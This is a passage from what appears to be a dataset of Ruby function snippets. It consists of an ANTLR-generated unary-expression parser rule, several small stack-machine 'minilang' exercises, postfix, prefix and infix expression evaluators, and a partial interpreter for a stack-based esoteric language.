= @dfa67.predict( @input )\n case alt_67\n when 1\n # at line 634:5: 'delete' unary\n string_literal272 = match( DELETE, TOKENS_FOLLOWING_DELETE_IN_unary_4218 )\n if @state.backtracking == 0\n stream_DELETE.add( string_literal272 )\n end\n @state.following.push( TOKENS_FOLLOWING_unary_IN_unary_4224 )\n unary273 = unary\n @state.following.pop\n if @state.backtracking == 0\n stream_unary.add( unary273.tree )\n end\n # AST Rewrite\n # elements: unary, DELETE\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 634:24: -> ^( 'delete' unary )\n # at line 634:27: ^( 'delete' unary )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_DELETE.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_unary.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 635:5: 'void' unary\n string_literal274 = match( VOID, TOKENS_FOLLOWING_VOID_IN_unary_4240 )\n if @state.backtracking == 0\n stream_VOID.add( string_literal274 )\n end\n @state.following.push( TOKENS_FOLLOWING_unary_IN_unary_4248 )\n unary275 = unary\n @state.following.pop\n if @state.backtracking == 0\n stream_unary.add( unary275.tree )\n end\n # AST Rewrite\n # elements: VOID, unary\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 635:24: -> ^( 'void' unary )\n # at line 635:27: ^( 'void' unary )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_VOID.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_unary.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 3\n # at line 636:5: 'typeof' unary\n string_literal276 = match( TYPEOF, TOKENS_FOLLOWING_TYPEOF_IN_unary_4264 )\n if @state.backtracking == 0\n stream_TYPEOF.add( string_literal276 )\n end\n @state.following.push( TOKENS_FOLLOWING_unary_IN_unary_4270 )\n unary277 = unary\n @state.following.pop\n if @state.backtracking == 0\n stream_unary.add( unary277.tree )\n end\n # AST Rewrite\n # elements: unary, TYPEOF\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 636:24: -> ^( 'typeof' unary )\n # at line 636:27: ^( 'typeof' unary )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_TYPEOF.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_unary.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 4\n # at line 637:5: 'defined?' unary\n string_literal278 = match( IS_DEFINED, TOKENS_FOLLOWING_IS_DEFINED_IN_unary_4286 )\n if @state.backtracking == 0\n stream_IS_DEFINED.add( string_literal278 )\n end\n @state.following.push( TOKENS_FOLLOWING_unary_IN_unary_4290 )\n unary279 = unary\n @state.following.pop\n if @state.backtracking == 0\n stream_unary.add( unary279.tree )\n end\n # AST Rewrite\n # elements: unary, IS_DEFINED\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 637:24: -> ^( 'defined?' unary )\n # at line 637:27: ^( 'defined?' unary )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_IS_DEFINED.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_unary.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 5\n # at line 638:5: 'undefined?' unary\n string_literal280 = match( IS_UNDEFINED, TOKENS_FOLLOWING_IS_UNDEFINED_IN_unary_4306 )\n if @state.backtracking == 0\n stream_IS_UNDEFINED.add( string_literal280 )\n end\n @state.following.push( TOKENS_FOLLOWING_unary_IN_unary_4308 )\n unary281 = unary\n @state.following.pop\n if @state.backtracking == 0\n stream_unary.add( unary281.tree )\n end\n # AST Rewrite\n # elements: IS_UNDEFINED, unary\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 638:24: -> ^( 'undefined?' unary )\n # at line 638:27: ^( 'undefined?' unary )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_IS_UNDEFINED.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_unary.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 6\n # at line 639:5: '++' unary\n string_literal282 = match( INCR, TOKENS_FOLLOWING_INCR_IN_unary_4324 )\n if @state.backtracking == 0\n stream_INCR.add( string_literal282 )\n end\n @state.following.push( TOKENS_FOLLOWING_unary_IN_unary_4334 )\n unary283 = unary\n @state.following.pop\n if @state.backtracking == 0\n stream_unary.add( unary283.tree )\n end\n # AST Rewrite\n # elements: INCR, unary\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 639:24: -> ^( '++' unary )\n # at line 639:27: ^( '++' unary )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_INCR.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_unary.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 7\n # at line 640:5: '--' unary\n string_literal284 = match( DECR, TOKENS_FOLLOWING_DECR_IN_unary_4350 )\n if @state.backtracking == 0\n stream_DECR.add( string_literal284 )\n end\n @state.following.push( TOKENS_FOLLOWING_unary_IN_unary_4360 )\n unary285 = unary\n @state.following.pop\n if @state.backtracking == 0\n stream_unary.add( unary285.tree )\n end\n # AST Rewrite\n # elements: DECR, unary\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 640:24: -> ^( '--' unary )\n # at line 640:27: ^( '--' unary )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_DECR.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_unary.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 8\n # at line 641:5: '+' unary\n char_literal286 = match( PLUS, TOKENS_FOLLOWING_PLUS_IN_unary_4376 )\n if @state.backtracking == 0\n stream_PLUS.add( char_literal286 )\n end\n @state.following.push( TOKENS_FOLLOWING_unary_IN_unary_4387 )\n unary287 = unary\n @state.following.pop\n if @state.backtracking == 0\n stream_unary.add( unary287.tree )\n end\n # AST Rewrite\n # elements: unary\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 641:24: -> ^( UPLUS[ '+' ] unary )\n # at line 641:27: ^( UPLUS[ '+' ] unary )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create( UPLUS, '+' ), root_1 )\n\n @adaptor.add_child( root_1, stream_unary.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 9\n # at line 642:5: '-' unary\n char_literal288 = match( MINUS, TOKENS_FOLLOWING_MINUS_IN_unary_4404 )\n if @state.backtracking == 0\n stream_MINUS.add( char_literal288 )\n end\n @state.following.push( TOKENS_FOLLOWING_unary_IN_unary_4415 )\n unary289 = unary\n @state.following.pop\n if @state.backtracking == 0\n stream_unary.add( unary289.tree )\n end\n # AST Rewrite\n # elements: unary\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 642:24: -> ^( UMINUS[ '-' ] unary )\n # at line 642:27: ^( UMINUS[ '-' ] unary )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create( UMINUS, '-' ), root_1 )\n\n @adaptor.add_child( root_1, stream_unary.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 10\n # at line 643:5: '~' unary\n char_literal290 = match( TILDE, TOKENS_FOLLOWING_TILDE_IN_unary_4432 )\n if @state.backtracking == 0\n stream_TILDE.add( char_literal290 )\n end\n @state.following.push( TOKENS_FOLLOWING_unary_IN_unary_4443 )\n unary291 = unary\n @state.following.pop\n if @state.backtracking == 0\n stream_unary.add( unary291.tree )\n end\n # AST Rewrite\n # elements: TILDE, unary\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 643:24: -> ^( '~' unary )\n # at line 643:27: ^( '~' unary )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_TILDE.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_unary.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 11\n # at line 644:5: '!' unary\n char_literal292 = match( NOT, TOKENS_FOLLOWING_NOT_IN_unary_4459 )\n if @state.backtracking == 0\n stream_NOT.add( char_literal292 )\n end\n @state.following.push( TOKENS_FOLLOWING_unary_IN_unary_4470 )\n unary293 = unary\n @state.following.pop\n if @state.backtracking == 0\n stream_unary.add( unary293.tree )\n end\n # AST Rewrite\n # elements: unary, NOT\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 644:24: -> ^( '!' unary )\n # at line 644:27: ^( '!' unary )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_NOT.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_unary.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 12\n # at line 645:5: postfix\n @state.following.push( TOKENS_FOLLOWING_postfix_IN_unary_4486 )\n postfix294 = postfix\n @state.following.pop\n if @state.backtracking == 0\n stream_postfix.add( postfix294.tree )\n end\n # AST Rewrite\n # elements: postfix\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 645:24: -> postfix\n @adaptor.add_child( root_0, stream_postfix.next_tree )\n\n\n\n return_value.tree = root_0\n\n end\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 60 )\n\n end\n \n return return_value\n end",
"def scopify(expr)\n expr = insert_b(expr)\n @i = 0\n n_expr = \"\"\n last_empty = 0\n open_b = 0\n open_p_b = 0\n open_m_b = 0\n eq = false\n stack = Array.new\n last_e = Array.new\n state = 0\n while @i < expr.size\n case expr[@i]\n # Each part between brackets is seen as a subexpression\n # and it is analyzed recoursively.\n when '('\n scp = Scp.new\n n_expr += expr[@i] + scp.scopify(extract(expr[(@i + 1)...expr.length])) \n @i += scp.count \n when /[\\*\\/]/\n # If there are open brackets of higher opertions\n # it closes them\n if open_m_b > 0\n n_expr += ')' * open_m_b\n last_empty = last_e.pop\n open_m_b = 0\n #open_b -= 1\n end\n if state == 2\n n_expr += ')' * open_p_b\n open_p_b = 0\n state = (stack.size > 0 ? stack.pop : 0)\n end\n # If it is not still analyzing a multiplication, it adds the brackets \n # following the rules\n unless state == 1\n n_expr.insert last_empty, '(' \n state = 1\n open_b += 1\n end\n n_expr += expr[@i]\n last_empty = n_expr.size # + 1\n when /[\\+\\-]/\n # higher priority operation brackets are closed\n # last_empty is shifted\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n state = 0\n open_b = 0\n open_p_b = 0\n n_expr += expr[@i]\n last_empty = n_expr.size\n when /\\^/\n # It begins to put between brackets the operation and its exponent\n if open_m_b > 0 then\n n_expr += \")\" * open_m_b\n last_empty = last_e.pop\n #open_b -= 1\n open_m_b = 0\n end\n n_expr.insert last_empty, '(' unless state == 2\n last_empty += 1 unless state == 2\n n_expr += expr[@i] + (expr[@i+1] == '(' ? '' : '(')\n open_p_b += (expr[@i+1] == '(' ? 1 : (state == 2 ? 1:2))\n stack.push state unless state == 2\n state = 2\n when /\\=/\n # The expression at the left of `=` is put between brackets\n # and a bracket at the right is opened\n # It closes previously opened brackets\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n n_expr += ')' * open_m_b if open_m_b >0\n open_b = 0\n open_p_b = 0\n open_m_b = 0\n n_expr = '(' + n_expr + ')' + expr[@i]\n n_expr += '('\n last_empty = n_expr.size\n state = 0\n eq = true\n when /\\>/\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n open_b = 0\n open_p_b = 0\n n_expr = '(' + n_expr + ')' + expr[@i]\n last_empty = n_expr.size\n when /\\:/\n n_expr.insert last_empty, '('\n n_expr += expr[@i]\n last_k = n_expr[(last_empty+1)...n_expr.size]\n open_m_b += 1 if \"mx:integ:as:from:\".include? last_k\n last_e.pop if last_e.count > 0 and (last_k == \"mx:\" or last_k == \"integ:\")# or last_k == \"solve:\")\n last_e.push last_empty if last_k == \"mx:\" or last_k == \"integ:\"# or last_k == \"solve:\"\n last_empty = n_expr.size\n open_b += 1 unless \"mx:integ:as:from:\".include? last_k\n when /\\\"/\n n_expr += expr[@i]\n @i += 1\n n_expr += discard(expr)\n last_empty = n_expr.length\n when /\\~/\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * (open_b - 1 ) if open_b - 1 > 0\n open_p_b = 0\n open_b = 1\n state = (stack.size > 0 ? stack.pop : 0)\n n_expr += expr[@i]\n last_empty = n_expr.size \n else\n n_expr += expr[@i]\n end\n @i += 1\n end\n # it closes all the opened brackets\n n_expr += ')' * open_m_b if open_m_b > 0\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n n_expr += ')' if eq\n return n_expr\n end",
"def minilang(program)\n register = 0\n stack = []\n program.split.each do |token|\n case token\n when 'PRINT' then puts \"register: #{register}, stack:#{stack}\"\n when 'PUSH' then stack << register\n when 'ADD' then register += stack.pop\n when 'SUB' then register -= stack.pop\n when 'MULT' then register *= stack.pop\n when 'DIV' then register /= stack.pop\n when 'MOD' then register %= stack.pop\n when 'POP' then register = stack.pop\n else register = token.to_i\n end\n end\nend",
"def pop\n\t\t\t@last = @stack.pop||\"\"\n\t\t\t@last\n\t\tend",
"def taily(sexp)\n if lambdacall?(sexp)\n lambdacall_to_tailcall(sexp)\n elsif conditional?(sexp)\n left = cadr(sexp); right = caddr(sexp)\n left = expression_or_block(left)\n if lambdacall?(right)\n right = lambdacall_to_tailcall(right)\n else\n right = expression_or_block(right)\n end\n list(car(sexp), left, right)\n elsif block?(sexp)\n handle_block(sexp)\n else\n sexp\n end\n end",
"def minilang(program)\n register = 0\n stack = []\n\n program.split.each do |step|\n p step\n case step\n when 'PUSH' then stack.push(register)\n when 'ADD' then register += stack.pop\n when 'SUB' then register -= stack.pop\n when 'MULT' then register *= stack.pop\n when 'DIV' then register /= stack.pop\n when 'MOD' then register %= stack.pop\n when 'POP' then register = stack.pop\n when 'PRINT' then puts register\n else register = step.to_i\n end\n p stack\n end\nend",
"def calculate(input)\n raise error(\"length is zero!\") unless input.length > 0\n # break input string on whitespace for tokens.\n tokens = input.strip.gsub(/\\(|\\)/,'').split(/\\s+/m)\n tokens.each_with_index do |token, index|\n raise error(\"syntax error at token ##{index + 1} '#{token}'\") unless token =~ /\\d+|[*-\\/+^%]/\n # if this is an operand, add it to the stack\n if token =~ /\\d/\n @stack << token.to_f\n else\n raise error(\"not enough operands at token ##{index + 1} '#{token}'\") if (@stack.length < MIN_TOKENS && @strict)\n # if it is an operator, take the operands off the stack and apply the operator to them\n while @stack.length > 1\n first, second = @stack.pop(MIN_TOKENS)\n @stack << first.send(token, second)\n end\n end\n end\n raise error(\"invalid syntax\") unless @stack.length == 1\n @stack.pop\n end",
"def evaluate_postfix(str)\n calc = Stack.new\n i = 0\n while i < str.length\n case str[i]\n when \"+\"\n calc.push (calc.pop + calc.pop)\n when \"-\"\n value1 = calc.pop\n value2 = calc.pop\n calc.push (value2 - value1)\n when \"*\"\n calc.push (calc.pop * calc.pop)\n when \"/\"\n value1 = calc.pop\n value2 = calc.pop\n calc.push (value2 / value1)\n else\n calc.push str[i].to_i\n end\n i += 1\n end\n return calc.pop\nend",
"def convert_input_to_rpn_queue(event, input)\n split_input = input.scan(%r{\\b(?:\\d+d\\d+(?:\\s?[a-z]+\\d+|\\s?e+\\d*|\\s?[ie]+\\d*)*)|[+\\-*/]|(?:\\b\\d+\\b)|[()]}i) # This is the tokenization string for our input\n # change to read left to right order\n input_queue = []\n input_queue.push(split_input.pop) while split_input.length > 0\n\n operator_priority = {\n '+' => 1,\n '-' => 1,\n '*' => 2,\n '/' => 2\n }\n\n output_queue = []\n operator_stack = []\n\n # Use the shunting yard algorithm to get our order of operations right\n while input_queue.length > 0\n input_queue_peek = input_queue.last\n\n if input_queue_peek.match?(/\\b\\d+\\b/) # If constant in string form\n output_queue.prepend(Integer(input_queue.pop))\n\n elsif input_queue_peek.match?(/\\b\\d+d\\w+/i) # If dice roll\n output_queue.prepend(process_roll_token(event, input_queue.pop))\n\n elsif input_queue_peek.match?(%r{[+\\-*/]})\n # If the peeked operator is not higher priority than the top of the stack, pop the stack operator down\n if operator_stack.length == 0 || operator_stack.last == '(' || operator_priority[input_queue_peek] > operator_priority[operator_stack.last]\n operator_stack.push(input_queue.pop)\n else\n output_queue.prepend(operator_stack.pop)\n operator_stack.push(input_queue.pop)\n end\n\n elsif input_queue_peek == '('\n operator_stack.push(input_queue.pop)\n\n elsif input_queue_peek == ')'\n while operator_stack.last != '('\n output_queue.prepend(operator_stack.pop)\n\n raise \"Extra ')' found!\" if operator_stack.length == 0\n end\n operator_stack.pop # Dispose of the closed \"(\"\n input_queue.pop # Dispose of the closing \")\"\n else\n raise \"Invalid token! (#{input_queue_peek})\"\n end\n end\n\n while operator_stack.length > 0\n raise \"Extra '(' found!\" if operator_stack.last == '('\n\n output_queue.prepend(operator_stack.pop)\n end\n\n output_queue\nend",
"def evaluatePostfix(exprStr)\n \n # split the string into an array by spaces\n exprStr = exprStr.split(\" \");\n\n # stack the holds \n stack = Array.new\n\n # loop through each element in the array\n exprStr.each do |ele|\n \n # check if the current value is an integer\n if operand? ele\n\n # convert the element to an integer and push onto stack\n stack.push ele.to_i\n\n # check if current element is an operator\n elsif operator? ele\n\n # update the ^ operator\n if ele.eql? '^'\n ele = \"**\"\n end \n \n # pop the last two elements from the array\n y, x = stack.pop, stack.pop\n \n # calculate the result of the operation\n result = applyOperator(x, y, ele)\n\n # push the result onto the stack\n stack.push(result)\n end\n end\n return stack.pop\n end",
"def evaluate_postfix(postfix_expression)\n stack = Stack.new\n\n postfix_helper(postfix_expression, stack)\nend",
"def infixToPostfix(exprStr)\n expression = []\n stack = []\n exprStr.split(/\\s+|\\b/).each do |token|\n if operand? token then\n expression.push token if operand? token\n elsif leftParen? token then\n stack.push token\n elsif operator? token then\n while operator? stack.last\n break if @operators[stack.last][:stack_prec] < @operators[token][:input_prec]\n expression.push stack.pop\n end\n stack.push token\n elsif rightParen? token then\n while operator? stack.last\n if not leftParen? stack.last\n expression.push stack.pop\n else\n stack.pop\n break\n end\n end\n end\n end\n stack.reverse.each {|x| expression.push x}\n expression.join(\" \")\n end",
"def minilang(str)\n stack = []\n reg = 0\n \n commands = str.split(' ')\n \n commands.each {|command|\n case command\n when 'PRINT'\n puts reg\n when 'PUSH'\n stack.push(reg)\n when 'POP'\n reg = stack.pop\n when 'ADD'\n reg += stack.pop \n when 'SUB'\n reg -= stack.pop \n when 'MULT'\n reg *= stack.pop \n when 'DIV'\n reg /= stack.pop \n when 'MOD'\n reg %= stack.pop\n else\n reg = command.to_i\n end\n }\nend",
"def state_op\n case @scanner\n when RPAREN\n while not LPAREN === @opstack[-1]\n raise \"Mismatched parens\" if @opstack.empty?\n @outarr << OpValMap[@opstack.pop]\n end\n @opstack.pop\n :state_op\n when OP\n op = @scanner.matched\n while is_lower(@opstack[-1], op)\n @outarr << OpValMap[@opstack.pop]\n end\n @opstack << op\n :state_int\n else\n # I would handle this with an EOS token, but unfortunately\n # StringScanner is broken w.r.t. @scanner.scan(/$/)\n :state_end if @scanner.eos?\n end\n end",
"def parse_branch_right lhs\n parse_eols\n op = @s.scan(/[\\t\\ ]*(\\/[\\*\\+\\?]?)[\\t\\ ]*/)\n return if !op\n op = Token.new('op.branch', op.strip)\n terms = []\n while t = parse_term\n terms << t\n end\n Branch[op, lhs, terms, parse_callback]\n end",
"def evaluatePostfix(exprStr)\n\t\tstack = Array.new\n\n\t\tfor i in 0...exprStr.split.length\n\t\t\tcurrent = exprStr.split[i]\n\n\t\t\tif operand?(current)\n\t\t\t\tstack.push(current)\n\t\t\tend\n\n\t\t\tif operator?(current)\n\t\t\t\ty = stack.pop\n\t\t\t\tx = stack.pop\n\t\t\t\to = current\n\t\t\t\tresults = applyOperator(x, y, o.to_s)\n\t\t\t\tstack.push(results)\n\t\t\tend\n\t\tend\n\n\t\treturn stack.pop\n end",
"def solution(s)\n stack = []\n s.split(' ').each do |input|\n case input\n when POP_COMMAND\n entry = stack.pop()\n raise InvalidOperation, 'Empty Stack' if entry == nil\n when DUPLICATE_COMMAND\n entry = stack.pop()\n raise InvalidOperation, 'Empty Stack' if entry == nil\n stack.push(entry)\n stack.push(entry)\n when ADDITION_COMMAND\n first = stack.pop()\n second = stack.pop()\n raise InvalidOperation, 'Empty Stack' if first == nil || second == nil\n raise InvalidOperation, 'Overflow Integer' if (first > UNSIGNED_INTEGER_LIMIT - second)\n stack.push(first + second)\n when SUBTRACTION_COMMAND\n first = stack.pop()\n second = stack.pop()\n raise InvalidOperation, 'Empty Stack' if first == nil || second == nil\n raise InvalidOperation, 'Negative value' if (first < second)\n stack.push(first - second)\n else\n stack.push(Integer(input))\n end\n end\n\n raise InvalidOperation, 'Empty Stack' if stack.length == 0\n stack.pop()\nend",
"def transform_in_order(tree, scope_stack)\n # some nodes have no type: include the first element in this case\n range = Symbol === tree[0] ? 1..-1 : 0..-1\n tree[range].each do |subtree|\n # obviously don't transform literals or token locations\n if Array === subtree && !(Fixnum === subtree[0])\n transform_tree(subtree, scope_stack)\n end\n end\n end",
"def minilang(command_string)\n stack = []\n register = 0\n command_string.split(' ').each do |command|\n case command\n when 'PUSH' then stack << register\n when 'ADD' then register += stack.pop\n when 'SUB' then register -= stack.pop\n when 'MULT' then register *= stack.pop\n when 'DIV' then register /= stack.pop\n when 'MOD' then register %= stack.pop\n when 'POP' then register = stack.pop\n when 'PRINT' then puts register\n else register = command.to_i\n end\n end\n register\nend",
"def prefix_evaluation(expression)\n return nil if expression.class != String\n digits = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\",\"6\", \"7\", \"8\", \"9\"]\n operators = [\"+\", \"-\", \"*\", \"/\", \"**\"]\n expression_array = expression.split(\" \").reverse\n local_stack = Stack.new()\n expression_array.each do |element|\n if digits.include?(element)\n local_stack.push(element)\n elsif operators.include?(element)\n num1 = local_stack.pop()\n num2 = local_stack.pop()\n result = do_math(num1, num2, element)\n local_stack.push(result)\n else\n puts \"undefined character\"\n end\n end\n local_stack.top()\nend",
"def evaluate_postfix(postfix_expression)\n regex = /\\d/\n stack = Stack.new\n postfix_expression.each_char do |c|\n if c.match(regex)\n stack.push(c.to_i)\n elsif stack.empty?\n raise ArgumentError\n else\n num2 = stack.pop\n num1 = stack.pop\n new_num = num1.method(c).(num2)\n stack.push(new_num)\n end\n end\n return stack.pop\nend",
"def minilang(str)\n stack = []\n reg = 0\n\n # puts str\n cmds = str.split\n cmds.each do |cmd|\n # puts \"cmd == #{cmd}\"\n case cmd\n when 'PUSH' then stack << reg\n when 'ADD' then reg += stack.pop\n when 'SUB' then reg -= stack.pop\n when 'MULT' then reg *= stack.pop\n when 'DIV' then reg /= stack.pop\n when 'MOD' then reg %= stack.pop\n when 'POP' then reg = stack.pop\n when 'PRINT' then puts reg\n else reg = cmd.to_i # integer\n end\n end\n puts\nend",
"def parse_right_infix(opsym, opcon)\n opupdate = ->(f,e1,e2) { f.call(opcon.call(e1,e2)) }\n sof = ->(x) { x }\n method(:parse_ginfix).curry.call(opsym, opupdate, sof)\n end",
"def reverse(stack)\n if !stack.is_empty?\n temp = stack.pop\n reverse(stack)\n insert_at_bottom(stack, temp)\n end\nend",
"def run(code, verbose = false)\n\n # loop over the code until end is reached\n #\n while(@str_p < code.size)\n puts code[@str_p,code.size-@str_p] if verbose\n\n # decide what shall be done now\n #\n case code[@str_p,1]\n\n # ignore this characters\n when \" \",\"\\r\",\"\\t\",\"\\n\"\n\n # perform addition on stack\n when \"+\"\n @stack.+\n\n # perform substraction on stack\n when \"-\"\n @stack.-\n\n # perform multiplication on stack\n when \"*\"\n @stack.*\n\n # perform division on stack\n when \"/\"\n @stack./\n\n # perform negation on stack\n when \"_\"\n @stack._\n\n # perform equality check on stack\n when \"=\"\n @stack.eq\n\n # perform greater than check on stack\n when \">\"\n @stack.>\n\n # perform NOT on stack\n when \"~\"\n @stack.~\n\n # perform AND on stack\n when \"&\"\n @stack.&\n\n # perform OR on stack\n when \"|\"\n @stack.|\n\n # Duplicate top element on stack\n when \"$\"\n @stack.dup\n\n # Remove top element on stack\n when \"%\"\n @stack.%\n\n # Perform swapping on 2 top elements\n when \"\\\\\"\n @stack.swap\n\n # Perform rotation on 3 top elements\n when \"@\"\n @stack.rot\n\n # Copy nth element to the top of stack\n when \"ø\"\n @stack.pick\n\n # handle comments\n when \"{\"\n @str_p = code.index('}', @str_p + 1)\n\n # Push the integer on stack\n when '0','1','2','3','4','5','6','7','8','9'\n num = code[@str_p..code.size].match /\\A\\d+/ \n @stack.push num[0].to_i\n @str_p += (num[0].size - 1)\n\n # read lambda function and push on stack\n when \"[\"\n f = 1\n c = 1\n while f > 0 do\n f += 1 if code.at(@str_p + c) == '['\n f -= 1 if code.at(@str_p + c) == ']'\n c += 1\n end\n @stack.push l = code[@str_p + 1 .. @str_p + c - 2]\n @str_p += l.size + 1\n\n # Print text between the \"\n when '\"'\n c = code[@str_p + 1 .. code.index('\"', @str_p + 1) - 1]\n @str_p += c.size+1\n puts c\n\n # Perform accessing on global variables a-z, : is value assignment, ; pushes value on stack\n when 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z' #assing or push global variables\n if code.at(@str_p + 1) == ':'\n @global_variables[code.at(@str_p)] = @stack.pop\n @str_p += 1\n elsif code[@str_p + 1, 1] == ';'\n @stack.push @global_variables[code.at(@str_p)] or raise StandardError, \"Undefined global variable\"\n @str_p += 1\n else\n raise StandardError, \"Syntax error with global variables\"\n end\n\n # Execute the lambda function on stack (means copying it to after the !)\n when '!'\n code.insert(@str_p + 1, @stack.pop)\n\n # Print top element as integer\n when '.'\n puts @stack.pop.to_i\n\n # Print top element as character\n when ','\n puts @stack.pop.chr\n\n # Read one single character from stdin and push to stack\n when '^'\n c = nil\n while (c = ask('') { |q| q.character = true; q.echo = false }) != \"\\e\" do\n break\n end\n @stack.push c.to_i.to_s == c ? c.to_i : c\n\n # Push the Character after \\ as integer on stack\n when '\\''\n c = 